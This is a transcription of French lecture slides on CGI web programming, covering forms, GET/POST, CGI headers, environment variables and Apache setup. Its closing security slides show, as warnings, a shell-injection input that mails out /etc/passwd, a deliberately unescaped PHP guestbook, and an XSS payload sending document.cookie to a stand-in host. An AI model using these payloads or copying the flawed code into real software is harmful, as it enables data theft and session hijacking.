Programmation WEB - IUT de Sénart/Fontainebleau

Transcription

Programmation WEB - IUT de Sénart/Fontainebleau
Introduction
Programmation CGI
Langage
Configuration Apache
Programmation WEB
Scripts CGI
Programmation licence
IUT de Fontainebleau
14 février 2014
Programmation licence
Programmation WEB
Introduction
Programmation CGI
Langage
Configuration Apache
1
Introduction
Rappels formulaires
GET/POST
2
Programmation CGI
Principe
Exemples
Mise en oeuvre
3
Langage
4
Configuration Apache
Programmation licence
Programmation WEB
Introduction
Programmation CGI
Langage
Configuration Apache
Rappels formulaires
GET/POST
Une application Web est une applications clients/serveur(s)
On peut la voir en trois couches ...
Programmation licence
Programmation WEB
Introduction
Programmation CGI
Langage
Configuration Apache
Rappels formulaires
GET/POST
Front-End
Back-End
SGBD
Programmation licence
Programmation WEB
Introduction
Programmation CGI
Langage
Configuration Apache
Rappels formulaires
GET/POST
Front-End
Back-End
SGBD
Programmation licence
Programmation WEB
Introduction
Programmation CGI
Langage
Configuration Apache
Rappels formulaires
GET/POST
Front-End
Back-End
SGBD
Programmation licence
Programmation WEB
Introduction
Programmation CGI
Langage
Configuration Apache
Rappels formulaires
GET/POST
Front-End
Structure
Présentation
Back-End
SGBD
Programmation licence
Programmation WEB
Applicatif
Introduction
Programmation CGI
Langage
Configuration Apache
Rappels formulaires
GET/POST
Front-End
Présentation
Back-End
SGBD
Programmation licence
Programmation WEB
Applicatif
Introduction
Programmation CGI
Langage
Configuration Apache
Rappels formulaires
GET/POST
Front-End
Back-End
SGBD
Programmation licence
Programmation WEB
Applicatif
Introduction
Programmation CGI
Langage
Configuration Apache
Rappels formulaires
GET/POST
Front-End
Back-End
SGBD
Programmation licence
Programmation WEB
Introduction
Programmation CGI
Langage
Configuration Apache
Rappels formulaires
GET/POST
Introduction
CGI au niveau du Backend :
I
Common Gateway Interface (CGI) est un standard pour
interfacer des applications externes avec un serveur WEB.
I
Un document HTML servit par le daemon Web est statique, ie il
existe dans un état constant, un fichier texte qui ne change pas
(pas tout à fait vrai avec les SSI).
I
En revanche, un programme CGI est exécuté et il peut recevoir
et/ou renvoyer de l’information dynamiquement au serveur web.
Programmation licence
Programmation WEB
Introduction
Programmation CGI
Langage
Configuration Apache
Rappels formulaires
GET/POST
Formulaire HTML
I
I
Balise <form> et </form>.
Eléments de formualaire :
input : saisie
Elément input
text
password
checkbox
radio
submit
reset
button
hidden
zone de texte
zone de texte caché
cases à cocher
un seul selectionnable
bouton de soumission de formulaire
bouton de remise à zéro des champs
bouton associé à du javascript
bouton caché
select : listes à ascenseurs.
textarea : zone de saisie d’un texte.
Programmation licence
Programmation WEB
Introduction
Programmation CGI
Langage
Configuration Apache
Rappels formulaires
GET/POST
Attributs de form
I
method : valeur get ou post qui indique la façon dont les
données sont transmises au script CGI.
I
action : URL du programme CGI qui sera exécuté à la
soumission du formulaire.
I
name : nom du formulaire.
target : cible dans laquelle la réponse du programme CGI sera
affichée.
I
I
enctype : spécifie l’encodage utilisé pour l’envoie des données du
formulaire dans le cas de la méthode post (dans le corps de la
requête) :
Programmation licence
Programmation WEB
Introduction
Programmation CGI
Langage
Configuration Apache
Rappels formulaires
GET/POST
Valeur possible pour enctype.
I
application/x-www-form-urlencoded : (valeur par défaut)
url-encode le contenu du formulaire de la même façon que la
méthode GET
I
text/plain : le contenu du formulaire est envoyé en format
lisible par le destinataire
multipart/form-data : permet d’expédier un fichier attaché
dnas le corps de la requête (<input type="file">)
I
Programmation licence
Programmation WEB
Introduction
Programmation CGI
Langage
Configuration Apache
Rappels formulaires
GET/POST
La méthode GET
I
La méthode standard de requête d’un document :
récupérer un fichier, une image, ...
activer un script CGI en lui transmettant des données.
I
Le corps de la requête est toujours ... vide.
I
Le serveur répond avec une ligne décrivant l’état de la requête,
un entête et le contenu de la réponse.
I
En cas d’échec, le contenu de la réponse décrit sa raison
(permission, fichier absent, etc ...)
I
Les données du formulaire sont transmises dans l’URL, après un
?, séparées par un &.
GET /cgi-bin/prog.cgi?login=denis&pass=toto HTTP/1.1
I
L’URL a une taille limitée à 4ko.
I
Encodage : application/x-www-form-urlencoded
Programmation licence
Programmation WEB
Introduction
Programmation CGI
Langage
Configuration Apache
Rappels formulaires
GET/POST
La méthode POST
I
Elle permet de transmettre des données au serveur dans le corps
de la requête.
I
Exemple
Exemple
<html>
<body>
<form action="http://localhost/~denis/http.php"
method="post">
Nom : <input type="text" name="nom">
Prenom : <input type="text" name="prenom">
Email : <input type="text" name="email">
<input type="submit" name="accepter" value="OK">
</form>
</body>
</html>
Programmation licence
Programmation WEB
Introduction
Programmation CGI
Langage
Configuration Apache
Programmation licence
Rappels formulaires
GET/POST
Programmation WEB
Introduction
Programmation CGI
Langage
Configuration Apache
Rappels formulaires
GET/POST

Notez bien l’encodage.
Programmation licence
Programmation WEB
Introduction
Programmation CGI
Langage
Configuration Apache
Principe
Exemples
Mise en oeuvre
Common gateway Interface
I
Interface de base qui définit la communication entre le serveur
HTTP et un programme applicatif.
I
CGI spécifie comment des clients peuvent communiquer avec des
programmes qui s’exécutent sur le serveur WEB, et qui générent
des pages HTML dynamiques créées à la volée à partir du
résultat des exécutions.
La comunication entre le daemon http et un programme cgi se
fait par l’intermédiaire :
I
des variables d’environnement
de l’entrée standard
I
Le résultat de l’exécution du CGI est faite sur sa sortie standard,
que le daemon http récupére.
Programmation licence
Programmation WEB
Introduction
Programmation CGI
Langage
Configuration Apache
Principe
Exemples
Mise en oeuvre
Programme CGI ?
avant tout un programme :
I
exécution sur la machine hôte du serveur HTTP.
I
en langage compilé (binaire) ou interprété.
I
qui permet de :
récupérer les données du formulaire à l’aide d’un parser : pour
chaque champs, un couple (NAME/VALUE) est transmis au serveur.
effectuer des traitements sur le serveur.
lecture/écriture dans un base de données.
stockage d’une info (compteurs, identitifant de connexion, ...)
recherche d’informations.
générer un résultat qui est renvoyé au client.
page HTML, image, document, etc....
Programmation licence
Programmation WEB
Introduction
Programmation CGI
Langage
Configuration Apache
Principe
Exemples
Mise en oeuvre
Partie statique
Navigateur
client
Affichage
formulaire
Recherche de
la page sur le
disque
Demande
formulaire
Envoie du
formulaire
daemon
http
remplissage du
formulaire
Saisie invalide
Soumission
(JS)
Saisie valide
Formulaire
OK
Programmation licence
Programmation WEB
DD
Introduction
Programmation CGI
Langage
Configuration Apache
Principe
Exemples
Mise en oeuvre
Partie dynamique
Formulaire
OK
Envoie
données
daemon
http
Transmission
données et
lancement CGI
Exécution du
script CGI
CGI
Envoie du
résultat HTML
daemon
http
Réponse en
HTML au
serveur HTTP
Affichage
réponse
Programmation licence
Programmation WEB
SGBD
Requêtes au
SGBD
Introduction
Programmation CGI
Langage
Configuration Apache
Principe
Exemples
Mise en oeuvre
Avantages/Incovénients
I
Puissant mais dangereux.
I
Le CGI doit s’exécuter rapidement
permet d’excuter tout et n’inporte quoi par le daemon HTTP.
risque de surcharge du serveur.
utilisateur impatient.
possibilité d’envoyer ds le début de l’exécution une page qui
permet d’indiquer à l’utilisateur que le résultat arrive.
Programmation licence
Programmation WEB
Introduction
Programmation CGI
Langage
Configuration Apache
Principe
Exemples
Mise en oeuvre
Un exemple
#!/bin/bash
echo "Content-type: text/html;"
echo ""
echo "<!doctype html>"
echo "<html><head><meta charset=’utf8’></head>"
echo "<body>"
export LC_ALL=fr_FR.utf-8
date=‘date +"%A %d %B %Y"‘
echo "<p> Nous sommes le <b>$date</b></p>"
echo "</body></html>"
Programmation licence
Programmation WEB
Introduction
Programmation CGI
Langage
Configuration Apache
Principe
Exemples
Mise en oeuvre
ce programme CGI n’utilise aucune donnée en provenance du client.
Programmation licence
Programmation WEB
Introduction
Programmation CGI
Langage
Configuration Apache
Principe
Exemples
Mise en oeuvre
GET/POST
I
Méthode GET :
données relatives aux champs du formulaire transmises via l’url.
le programme cgi les récupéree dans la variable d’environnement
QUERY_STRING.
I
Méthode POST :
données relatives aux champs du formulaire sont transmises dans
le corps de la requête HTTP.
Les variables d’environnements Content-Type et Content-Length
sont positionnés.
le programme récupère les données sur son entrée standard.
Programmation licence
Programmation WEB
Introduction
Programmation CGI
Langage
Configuration Apache
Principe
Exemples
Mise en oeuvre
Format URL encodé
I
Nécessité de coder les données de l’URL (méthode GET) et du
corps (méthode POST) sur le client pour construire la chaîne
CGI pour respecteur la rfc ? ? qui spécifie la syntaxe des URL.
I
Les caractères non alphanumériques sont remplacés par %xx, ( xx
est le code ascii du caractère en hexadécimal)
Les caractères ; / ? : @ & = + $ , sont reservés :
I
? : début de QUERY_STRING.
& : séparateur de champs.
= : séparation entre le champ et sa valeur.
I
Les espaces sont remplacés par des +.
Programmation licence
Programmation WEB
Introduction
Programmation CGI
Langage
Configuration Apache
Principe
Exemples
Mise en oeuvre
Format URL encodé
I
format de la chaîne CGI
champ1=valeur1&champ2=valeur2&...
I
cas des champs à valeurs multiples
I
nom_liste=valeur1&nom_liste=valeur2&...
La chaîne CGI est :
construite par le client au format URL encodé quand la requête
est postée.
transmise au CGI tel quel via la variable QUERY_STRING dans le
cas GET.
transmise au CGI tel quel via l’entrée standard avec le cas POST.
Programmation licence
Programmation WEB
Introduction
Programmation CGI
Langage
Configuration Apache
Principe
Exemples
Mise en oeuvre
Format de sortie d’un CGI
I
Entête, ligne vide et corps :
Réponse http d’un cgi
Content-type : type/subtype
type MIME du corps
Window-target : frame
fenêtre de réception du résultat
Location : url
redirection vers une autre URL
Status : code msg
code de la réponse HTTP
ligne vide
<html>
.
.
.
</html>
I
Location doit être utilisé seul : redirection au client.
I
En-tête minimale : Content-type.
Programmation licence
Programmation WEB
Introduction
Programmation CGI
Langage
Configuration Apache
Principe
Exemples
Mise en oeuvre
No parsed headers (NPH) CGI
I
I
En principe, le serveur HTTP ne construit l’en-tête (HTTP)
finale de la réponse que lorsque l’exécution du CGI est terminé
(en particulier pour générer Content-Length)
certains scripts peuvent vouloir générer eux-même toute la
réponse HTTP (y compris le code de retour)
Le serveur HTTP n’anlyse plus les en-têtes générés par le CGI.
permet d’envoyer une partie du résultat avant la fin d’exécution
du CGI.
le nom de ces scripts doivent être préfixés par nph-.
Programmation licence
Programmation WEB
Introduction
Programmation CGI
Langage
Configuration Apache
Principe
Exemples
Mise en oeuvre
nph CGI : exemple
#!/bin/sh
echo "HTTP/1.0 OK
Server: localhost
Content-Type: text/html
<HEAD>
<TITLE>un test ...</TITLE>
</HEAD>
<BODY>
<H1>Sortie d’un script nph</H1>
il semble que c’est OK !
</BODY>"
Programmation licence
Programmation WEB
Introduction
Programmation CGI
Langage
Configuration Apache
Principe
Exemples
Mise en oeuvre
Variables d’environnements
Elles sont positionnées par le serveur HTTP pour fournir au CGI le
contexte (infos sur le serveur, le client, etc ...)
Variables d’environnements
SERVER_SOFTWARE
(nom/version)
SERVER_NAME (nom)
GATEWAY_INTERFACE
(CGI/version)
SERVER_PROTOCOL
(protocle/version)
SERVER_PORT (port)
REQUEST_METHOD
(methode)
SCRIPT_NAME (nom)
REMOTE_HOST (nom)
nom et version du daemon HTTP
nom ou adresse IP du serveur
version des spécifications CGI utilisées par
le serveur
protocole et version de la requête en cours
de traitement
numéro du port TCP vers lequel la requête
a été envoyée
méthode associée à la requête
chemin du CGI depuis la racine du serveur
nom de la machine d’où vient la requête
Programmation licence
Programmation WEB
Introduction
Programmation CGI
Langage
Configuration Apache
Principe
Exemples
Mise en oeuvre
Variables d’environnements
Elles sont positionnées par le serveur HTTP pour fournir au CGI le
contexte (infos sur le serveur, le client, etc ...)
Variables d’environnements
REMOTE_ADDR
(adresse ip)
AUTH_TYPE
(authentification)
REMOTE_USER
(login)
REMOTE_IDENT
(login_os)
CONTENT_TYPE
(type/subtype)
CONTENT_LENGTH
(longeur en hexa)
adresse ip de la machine d’où vient la requête
méthode d’authentification de l’utilisateur
s’il y a lieu
si authentification, login de l’utilisateur associé à la requête
type MIME des données dans la requête
longueur des données de la requête POST
Programmation licence
Programmation WEB
Introduction
Programmation CGI
Langage
Configuration Apache
Principe
Exemples
Mise en oeuvre
Variables d’environnements
Elles sont positionnées par le serveur HTTP pour fournir au CGI le
contexte (infos sur le serveur, le client, etc ...)
Variables d’environnements
PATH_INFO (path)
QUERY_STRING
(champ1=val1&...)
HTTP_XXX (champ
entête HTTP)
chaîne
entre
SCRIPT_PATH
QUERY_STRING dans l’URL
données transmises au CGI par GET
et
variable
pour
chaque
champ
contenu
dans
l’entête
HTTP
(HTTP_ACCEPT,HTTP_USER_AGENT,...)
Programmation licence
Programmation WEB
Introduction
Programmation CGI
Langage
Configuration Apache
Principe
Exemples
Mise en oeuvre
Exemple en perl
#!/usr/bin/perl
##
## printenv -- demo CGI program which just prints
## its environment
##
print "Content-type: text/plain; charset=iso-8859-1\n\n";
foreach $var (sort(keys(%ENV))) {
$val = $ENV{$var};
$val =~ s|\n|\\n|g;
$val =~ s|"|\\"|g;
print "${var}=\"${val}\"\n";
}
Programmation licence
Programmation WEB
Introduction
Programmation CGI
Langage
Configuration Apache
Programmation licence
Principe
Exemples
Mise en oeuvre
Programmation WEB
Introduction
Programmation CGI
Langage
Configuration Apache
Quel langage utiliser ?
I
Peut importe, pourvu que :
le programme soit exécutable sur le serveur.
le programme puisse lire les variables d’environnement et/ou
l’entrée standard.
le programme puisse écrire sur sa sortie standard.
I
Les plus utilisés :
Perl et shell
PHP (mixe entre Perl et C).
Langage C : compilé, et bien intégré au système
compilé, les sources ne sont pas accessibles.
Programmation licence
Programmation WEB
Introduction
Programmation CGI
Langage
Configuration Apache
Quel Langage utiliser ?
I
Accès aux variables d’environnemt :
en C :
Dans stdlib.h, getenv("nom").
Variable globale environ.
fonction main int main(int n,char *arg[],char *env[]).
en shell : $nom.
en perl, $ENV{’nom’}.
en PHP, $_SERVER[’nom’].
I
Entrées/Sorties.
En C : dans stdio.h printf("...",...) et scanf("...",...)
en shell : echo "..." et read var
en Perl : read(STDIN,$stuff $ENV{‘CONTENT_LENGTH’})
Programmation licence
Programmation WEB
Introduction
Programmation CGI
Langage
Configuration Apache
Parser les données du formulaire
I
Il faut récupérer les couples nom/valeur dans le cgi.
I
Il s’agit essentiellement de traitement de chaînes de caractères.
Uitliser des bibliothèques existantes (cf tp) :
I
module cgi en perl, ou bibliothèque cgi-lib.pl
http://cgi-lib.berkeley.edu/, etc ...
En C, libcgi http://libcgi.sourceforge.net/
PHP, rien à faire, déjà parser dans les tableaux _POST, _GET ou
_REQUEST.
Programmation licence
Programmation WEB
Introduction
Programmation CGI
Langage
Configuration Apache
Configuration du serveur Apache
I
le serveur doit savoir quelles requêtes doivent être traitées comme
des CGI pour :
passer les paramètres au programme cgi.
l’exécuter.
récupérer sa sortie standard pour construire la réponse HTTP.
I
Répertoire de cgi : directive ScriptAlias ou ScriptAliasMatch
(utilisation d’expression régulière)
ScriptAlias /cgi-bin/ /var/www/localhost/cgi-bin/
toutes les requêtes du type http://localhost/cgi-bin/* seront
traitées comme des CGI avec exécution de
/var/www/localhost/cgi-bin/*
Programmation licence
Programmation WEB
Introduction
Programmation CGI
Langage
Configuration Apache
Configuration du serveur Apache
I
des cgi dans des repertoires : directive AddHandler
# AddHandler allows you to map certain file extensions to "handlers":
# actions unrelated to filetype. These can be either built into the server
# or added with the Action directive (see below)
#
# To use CGI scripts outside of ScriptAliased directories:
# (You will also need to add "ExecCGI" to the "Options" directive.)
#
AddHandler cgi-script .cgi .pl .sh
I
il faut autoriser les exécutions de CGI dans les répertoires qui
peuvent contenir des .cgi, des .pl ou des .sh.
<Directory /home/*/public_html>
options +ExecCGI
</Directory>
I
C’est le daemon http (user apache ou www) qui exécute le script
cgi. Vérifier les droits d’exécution !
Programmation licence
Programmation WEB
Introduction
Programmation CGI
Langage
Configuration Apache
Sécurtité
Afin de limiter les trous de sécurités :
I
Limiter le nombre de personnes autorisées à créer des CGI sur le
serveur.
I
Vérifier dans le CGI que l’exécutant est bien le daemon httpd.
I
Ne pas lancer le daemon httpd en tant que root.
I
Eviter les CGI ayant positionné le bit setuid.
I
Eviter l’emploide commandes qui lancent des sous-processus
(system, exec, ...)
I
Restreindre les accès.
I
Consulter la page dédié sur w3
http://www.w3.org/Security/Faq/wwwsf4.html
Programmation licence
Programmation WEB
Introduction
Programmation CGI
Langage
Configuration Apache
Un exemple
Il ne faut jamais envoyer directement une chaîne entrée par
l’utilisateur vers un shell, ou une commande.
I
Un formulaire qui demande une adresse mail associé à un cgi qui
envoie un mail à l’adresse indiquée par
echo " ... " | mail $champ_mail
I
Attention aux saisies du genre :
personnenullepart.fr;mail moichezmoi < / etc / passwd
Programmation licence
Programmation WEB
Introduction
Programmation CGI
Langage
Configuration Apache
Un autre exemple
En php, un fichier est utilisé pour stocké des messages.
<form>
<input type="text" name="message"><br />
<input type="submit">
</form>
<?php
if (isset($_GET[’message’]))
{
$fp = fopen(’./messages.txt’, ’a’);
fwrite($fp, "{$_GET[’message’]}<br />");
fclose($fp);
}
readfile(’./messages.txt’);
?>
Programmation licence
Programmation WEB
Introduction
Programmation CGI
Langage
Configuration Apache
et la saisie suivante :
<script>
document.location = ’http://chez.moi/cookies.php?cookies=’ + document.cookie
</script>
Programmation licence
Programmation WEB